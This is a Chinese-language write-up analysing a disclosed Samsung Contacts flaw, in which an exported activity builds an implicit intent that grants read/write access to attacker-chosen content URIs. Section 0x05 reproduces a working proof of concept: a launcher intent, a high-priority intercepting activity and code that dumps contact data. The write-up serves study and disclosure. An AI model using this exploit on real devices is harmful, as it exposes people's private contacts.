Date
Version
Description
Author
0x00 漏洞概述
组件SetProfilePhotoActivity
导出,通过合理构造Intent参数可以调用方法startActivityForResult()
,方法startActivityForResult()
使用的Intent参数是由内部构造的,其会将外部可控的URI赋值到启动Intent内部的ClipData字段,并且标志位设置为读写权限,漏洞点在于该构造出来的Intent是隐式Intent,未指定具体的接收组件,所以只需要制定一个高优先级满足ACTION配置的Activity,即可实现访问ContentProvider数据
0x01 触发条件
com.samsung.android.app.contacts
60579c925977ca29b889d32085a0c350
0x02 PoC
0x03 前置知识
0x04 Root Cause Analysis
组件com.samsung.android.contacts.editor.SetProfilePhotoActivity
导出
Copy <activity
android:configChanges="keyboardHidden|orientation|screenSize"
android:hardwareAccelerated="false"
android:icon="@mipmap/ic_launcher_contacts"
android:label="@string/share_my_profile"
android:name="com.samsung.android.contacts.editor.SetProfilePhotoActivity"
android:taskAffinity=""
android:theme="@style/BackgroundOnlyTheme">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<data android:mimeType="image/*"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<intent-filter>
<action android:name="com.samsung.contacts.action.SET_AS_PROFILE_PICTURE"/>
<data android:mimeType="image/*"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
在SetProfilePhotoActivity
的onCreate()
方法里,[1]
调用方法F8()
处理传入Intent的字段,[2]
调用方法H8()
进入异步任务
Copy // com.samsung.android.contacts.editor.SetProfilePhotoActivity
@Override // com.samsung.android.dialtacts.common.contactslist.e
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
SetProfilePhotoPresenter setProfilePhotoPresenter = new SetProfilePhotoPresenter(this, PhotoModelFactory.a(), s0.a());
this.mSetProfilePhotoPresenter = setProfilePhotoPresenter;
this.G8(setProfilePhotoPresenter);
this.__intent_action__ = this.getIntent().getAction();
if(!this.F8(bundle)) { // [1]
return;
}
if(!PermissionsUtil.c(this, SetProfilePhotoActivity.C)) {
String s = this.getString(0x7F12016E); // string:contactsList "Contacts"
PermissionsUtil.l(this, SetProfilePhotoActivity.C, 0, s, true);
return;
}
this.H8(); // [2]
}
方法F8()
也有一个判断,简单构造即可绕过,[1]
调用方法E8()
Copy // com.samsung.android.contacts.editor.SetProfilePhotoActivity
private boolean F8(Bundle bundle) {
if(!"android.intent.action.SEND".equals(this.__intent_action__) && !"set_profile_photo".equals(this.__intent_action__) && !"com.samsung.contacts.action.SET_AS_PROFILE_PICTURE".equals(this.__intent_action__)) {
return false;
}
this.E8(bundle); // [1]
return this.__intent_tmp_photo_uri__ == null || (new File(this.__intent_tmp_photo_uri__.getPath()).exists());
}
方法E8()
取出传入Intent的两个字段"temp_photo_uri"
和"cropped_photo_uri"
保存到__intent_tmp_photo_uri__
和__intent_cropped_photo_uri__
Copy // com.samsung.android.contacts.editor.SetProfilePhotoActivity
private void E8(Bundle bundle) {
if(bundle != null && (bundle.containsKey("temp_photo_uri")) && (bundle.containsKey("cropped_photo_uri"))) {
this.__intent_tmp_photo_uri__ = Uri.parse(bundle.getString("temp_photo_uri"));
this.__intent_cropped_photo_uri__ = Uri.parse(bundle.getString("cropped_photo_uri"));
return;
}
String __intent_temp_photo_uri__ = this.getIntent().getStringExtra("temp_photo_uri"); // [1]
String __intent_cropped_photo_uri__ = this.getIntent().getStringExtra("cropped_photo_uri"); // [2]
if(__intent_temp_photo_uri__ != null && __intent_cropped_photo_uri__ != null) {
this.__intent_tmp_photo_uri__ = Uri.parse(__intent_temp_photo_uri__);
this.__intent_cropped_photo_uri__ = Uri.parse(__intent_cropped_photo_uri__);
}
}
方法H8()
先在[1]
调用方法B8()
进行判断,我们不能让其进入,同样 可以构造参数使其不进入,然后[2]
调用异步任务进行处理
Copy // com.samsung.android.contacts.editor.SetProfilePhotoActivity
private boolean B8() {
return ("com.samsung.contacts.action.SET_AS_PROFILE_PICTURE".equals(this.__intent_action__))
&& this.getIntent().getExtras() != null
&& (this.getIntent().getBooleanExtra("no_crop", false));
}
// com.samsung.android.contacts.editor.SetProfilePhotoActivity
private void H8() {
if(this.B8()) { // [1]
if(this.getIntent().getParcelableExtra("android.intent.extra.STREAM") != null) {
this.z = (Uri)this.getIntent().getParcelableExtra("android.intent.extra.STREAM");
this.mSetProfilePhotoPresenter.getProfileIntentAndStartEditor();
return;
}
AppLog.m("SetProfilePhotoActivity", "Invalid intent:" + this.getIntent());
this.finish();
return;
}
a setProfilePhotoActivity$a0 = new a(this, this.D8());
this.B = setProfilePhotoActivity$a0;
setProfilePhotoActivity$a0.executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, new Void[0]); // [2]
}
异步任务SetProfilePhotoActivity.a
有两个具体实现的方法doInBackground()
和onPostExecute()
doInBackground()
的逻辑不影响本漏洞的分析,但是它有一个小知识点会影响人工分析
Copy // com.samsung.android.contacts.editor.SetProfilePhotoActivity.a
@Override // android.os.AsyncTask
protected Object doInBackground(Object[] arr_object) {
return this.a(((Void[])arr_object)); // [1]
}
方法a()
调用方法savePhotoFromUriToUri()
Copy // com.samsung.android.contacts.editor.SetProfilePhotoActivity.a
protected Void a(Void[] arr_void) {
SetProfilePhotoActivity setProfilePhotoActivity_ = (SetProfilePhotoActivity)this.setProfilePhotoActivity0.get();
if(setProfilePhotoActivity_ == null) {
return null;
}
this.savePhotoFromUriToUri(setProfilePhotoActivity_); // [1]
return null;
[1]
获取传入Intent的ClipData,如果不为空则调用[2]
和[3]
,反之如果为空,则会进入[5]
关闭当前Activity,[4]
可以通过构造传入Intent来绕过
Copy // com.samsung.android.contacts.editor.SetProfilePhotoActivity.a
private void savePhotoFromUriToUri(SetProfilePhotoActivity setProfilePhotoActivity) {
Uri __uri__;
ClipData __clipData__ = setProfilePhotoActivity.getIntent().getClipData(); // [1]
if(__clipData__ != null && __clipData__.getItemCount() == 1 && __clipData__.getItemAt(0) != null) {
__uri__ = __clipData__.getItemAt(0).getUri(); // [2]
if(!this.setPhotoUri(setProfilePhotoActivity, __uri__)) { // [3]
return;
}
}
else {
__uri__ = null;
}
if(__uri__ == null) {
if(setProfilePhotoActivity.getIntent().getExtras() != null && setProfilePhotoActivity.getIntent().getExtras().getString("shared_photo_uri", null) != null) {
__uri__ = Uri.parse(setProfilePhotoActivity.getIntent().getExtras().getString("shared_photo_uri")); // [4]
goto label_48;
}
setProfilePhotoActivity.finish(); // [5]
return;
}
try {
label_48:
PhotoDataUtils.S(__uri__, setProfilePhotoActivity.__intent_tmp_photo_uri__, false); // [6]
}
catch(SecurityException securityException0) {
AppLog.l("SetProfilePhotoActivity", "savePhotoFromUriToUri, SecurityException: " + securityException0.getMessage());
setProfilePhotoActivity.finish();
return;
}
if(this.imageTitleFromMediaDB == null) {
this.imageTitleFromMediaDB = setProfilePhotoActivity.v.getImageTitleFromMediaDB(__uri__);
}
if(setProfilePhotoActivity.getIntent().getBooleanExtra("delete_temp_agif", false)) {
PhotoDataUtils.h(__uri__);
}
}
那此处就有一个问题,一个Activity调用了异步任务,在异步任务的生命周期里,调用者Activity被结束(比如调用方法finish()),异步任务会继续执行吗?
答案是:会继续执行下去
在方法onPostExecute()
里,[1]
调用方法c()
Copy // com.samsung.android.contacts.editor.SetProfilePhotoActivity.a
@Override // android.os.AsyncTask
protected void onPostExecute(Object object) {
this.c(((Void)object)); // [1]
}
此处即是漏洞关键点,[1]
构造一个Intent,其中setProfilePhotoActivity.__intent_tmp_photo_uri__
外部可控,[2]
、[3]
和[4]
对Intent的类型字段进行配置,用于筛选能处理这些数据类型的Activity,[5]
调用方法AbstractPhotoViewUtils.c()
和[6]
调用方法AbstractPhotoViewUtils.b()
对Intent添加字段,其中[5]
会添加一个外部可控的字段,[7]
是一个简单判断,[8]
调用方法startActivityForResult()
打开构造好的Intent
Copy // com.samsung.android.contacts.editor.SetProfilePhotoActivity.a
protected void c(Void void0) {
SetProfilePhotoActivity setProfilePhotoActivity = (SetProfilePhotoActivity)this.setProfilePhotoActivity0.get();
if(setProfilePhotoActivity == null) {
return;
}
Intent intent = new Intent("com.android.camera.action.CROP", setProfilePhotoActivity.__intent_tmp_photo_uri__); // [1]
String __intent_mimeType__ = setProfilePhotoActivity.getIntent().getStringExtra("mimeType");
String __intent_type__ = setProfilePhotoActivity.getIntent().getType();
if(__intent_mimeType__ != null) {
intent.setDataAndType(setProfilePhotoActivity.__intent_tmp_photo_uri__, __intent_mimeType__); // [2]
}
else if(__intent_type__ != null) {
intent.setDataAndType(setProfilePhotoActivity.__intent_tmp_photo_uri__, __intent_type__); // [3]
}
else if(!TextUtils.isEmpty(this.b) && (this.b.contains("gif"))) {
intent.setDataAndType(setProfilePhotoActivity.__intent_tmp_photo_uri__, "image/gif"); // [4]
}
AbstractPhotoViewUtils.c(intent, setProfilePhotoActivity.__intent_cropped_photo_uri__, this.outputX); // [5]
AbstractPhotoViewUtils.b(intent, this.outputX); // [6]
if(setProfilePhotoActivity.v.i4(intent)) { // [7] 查询Intent是否有响应的应用
setProfilePhotoActivity.startActivityForResult(intent, 1); // [8]
return;
}
setProfilePhotoActivity.C8();
}
接下来依次分析,首先是方法c()
,可以看到其中"output"
字段和剪贴板数据是外部可控的,[2]
调用方法setFlags()
设置标志位,3
表示Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
,描述接收该Intent可以获取指定URI的读写权限,[3]
添加ClipData数据,[4]
补充一些其它字段
Copy // com.samsung.android.contacts.editor.o.AbstractPhotoViewUtils
public static void c(Intent intent, Uri __intent_cropped_photo_uri__, int outputX) {
intent.putExtra("crop", true);
intent.putExtra("output", __intent_cropped_photo_uri__); // [1]
intent.addFlags(3); // [2]
intent.setClipData(ClipData.newRawUri("output", __intent_cropped_photo_uri__)); // [3]
AbstractPhotoViewUtils.a(intent, outputX); // [4]
}
// com.samsung.android.contacts.editor.o.AbstractPhotoViewUtils
private static void a(Intent intent, int outputX) {
intent.putExtra("outputX-gif", outputX);
intent.putExtra("outputY-gif", outputX);
intent.putExtra("max-file-size", PhotoViewUtils.a);
intent.putExtra("support-crop-gif", true);
}
根据AOSP开源代码注释
https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/content/Intent.java#6602
如果同时设置了Intent的URI和ClipData,那么会同时给接收者赋予标志位所描述的权限
Copy /**
* If set, the recipient of this Intent will be granted permission to
* perform read operations on the URI in the Intent's data and any URIs
* specified in its ClipData. When applying to an Intent's ClipData,
* all URIs as well as recursive traversals through data or other ClipData
* in Intent items will be granted; only the grant flags of the top-level
* Intent are used.
*/
public static final int FLAG_GRANT_READ_URI_PERMISSION = 0x00000001;
/**
* If set, the recipient of this Intent will be granted permission to
* perform write operations on the URI in the Intent's data and any URIs
* specified in its ClipData. When applying to an Intent's ClipData,
* all URIs as well as recursive traversals through data or other ClipData
* in Intent items will be granted; only the grant flags of the top-level
* Intent are used.
*/
public static final int FLAG_GRANT_WRITE_URI_PERMISSION = 0x00000002;
方法b()
添加的数据不影响漏洞
Copy // com.samsung.android.contacts.editor.o.AbstractPhotoViewUtils
public static void b(Intent intent, int outputX) {
intent.putExtra("crop", "true");
intent.putExtra("scale", true);
intent.putExtra("scaleUpIfNeeded", true);
intent.putExtra("aspectX", 1);
intent.putExtra("aspectY", 1);
intent.putExtra("outputX", outputX);
intent.putExtra("outputY", outputX);
}
由于SetProfilePhotoActivity
继承ContactsActivity
,所以调用方法startActivityForResult()
的时候会调用回父类的startActivityForResult()
Copy // com.samsung.android.dialtacts.common.contactslist.ContactsActivity
@Override // androidx.fragment.app.l
public void startActivityForResult(Intent intent, int v) {
try {
super.startActivityForResult(intent, v);
}
catch(ActivityNotFoundException activityNotFoundException) {
AppLog.i(this.m8(), "startActivityForResult : " + activityNotFoundException.toString());
}
}
从以上Intent构造过程来看,这个Intent并没有指定具体的接收组件,也就是说它是一个隐式Intent,只要满足条件的Activity都能够接收到,加上它的标志位是读写,所以定制一个高优先级且满足ACTION设置的Activity,就可以拦截到这个Intent并拥有其传递出来的权限
0x05 调试与利用
关于异步任务与Activity生命周期的问题可以写个应用验证,在方法doInBackground()
里关闭Activity,观察异步任务是否会继续执行方法onPostExecute()
Copy public class MainActivity extends AppCompatActivity {
final private static String TAG = String.format("[*] [%s]", MainActivity.class.getName());
class MyAsyncTask extends AsyncTask {
private MainActivity mMainActivity;
public MyAsyncTask(MainActivity mainActivity) {
this.mMainActivity = mainActivity;
}
@Override
protected void onPreExecute() {
super.onPreExecute();
Log.e(TAG, "onPreExecute: ");
}
@Override
protected Object doInBackground(Object[] objects) {
Log.e(TAG, "doInBackground: ");
this.mMainActivity.finish();
return null;
}
@Override
protected void onPostExecute(Object o) {
super.onPostExecute(o);
Log.e(TAG, "onPostExecute: ");
}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Log.e(TAG, "onCreate: " + getIntent().toUri(Intent.URI_INTENT_SCHEME));
MyAsyncTask myAsyncTask = new MyAsyncTask(this);
myAsyncTask.executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, new Void[0]);
}
@Override
public void finish() {
super.finish();
Log.e(TAG, "finish: ");
}
}
从日志输出去我们可以确认,当Activity被关闭之后,后续的方法onPostExecute()
依旧会正常执行下去
Copy [*] [com.wnagzih...ty.MainActivity] com.wnagzihxa1n.exploit.startactivity E onCreate: intent:#Intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;launchFlags=0x10000000;component=com.wnagzihxa1n.exploit.startactivity/.MainActivity;end
[*] [com.wnagzih...ty.MainActivity] com.wnagzihxa1n.exploit.startactivity E onPreExecute:
[*] [com.wnagzih...ty.MainActivity] com.wnagzihxa1n.exploit.startactivity E doInBackground:
[*] [com.wnagzih...ty.MainActivity] com.wnagzihxa1n.exploit.startactivity E finish:
[*] [com.wnagzih...ty.MainActivity] com.wnagzihxa1n.exploit.startactivity E onPostExecute:
Oversecured实验室的PoC如下
Copy Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfilePhotoActivity");
i.putExtra("temp_photo_uri", "/");
i.putExtra("cropped_photo_uri", ContactsContract.CommonDataKinds.Phone.CONTENT_URI.toString());
i.putExtra("mimeType", "test/1337");
startActivity(i);
作为startActivityForResult()
的接收者,获取剪贴板数据进行读取,漏洞分析的时候有解释,剪贴板包含的URI也会被授予标志位所描述的权限
Copy protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if ("com.android.camera.action.CROP".equals(getIntent().getAction())) {
dump(getIntent().getClipData().getItemAt(0).getUri());
}
finish();
}
public void dump(Uri uri) {
Cursor cursor = getContentResolver().query(uri, null, null, null, null);
if (cursor.moveToFirst()) {
do {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < cursor.getColumnCount(); i++) {
if(sb.length() > 0) {
sb.append(", ");
}
sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
}
Log.d("evil", sb.toString());
} while (cursor.moveToNext());
}
}
Manifest里要将PickerActivity
配置成高优先级,可以优先响应到Intent
Copy <activity android:name=".PickerActivity">
<intent-filter android:autoVerify="true" android:priority="999999999">
<action android:name="com.android.camera.action.CROP" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="*/*" />
<data android:mimeType="image/*" />
<data android:mimeType="test/1337" />
</intent-filter>
</activity>
0x06 漏洞研究
0x07 References
《Two weeks of securing Samsung devices: Part 2》
https://blog.oversecured.com/Two-weeks-of-securing-Samsung-devices-Part-2/
附录:调试过程记录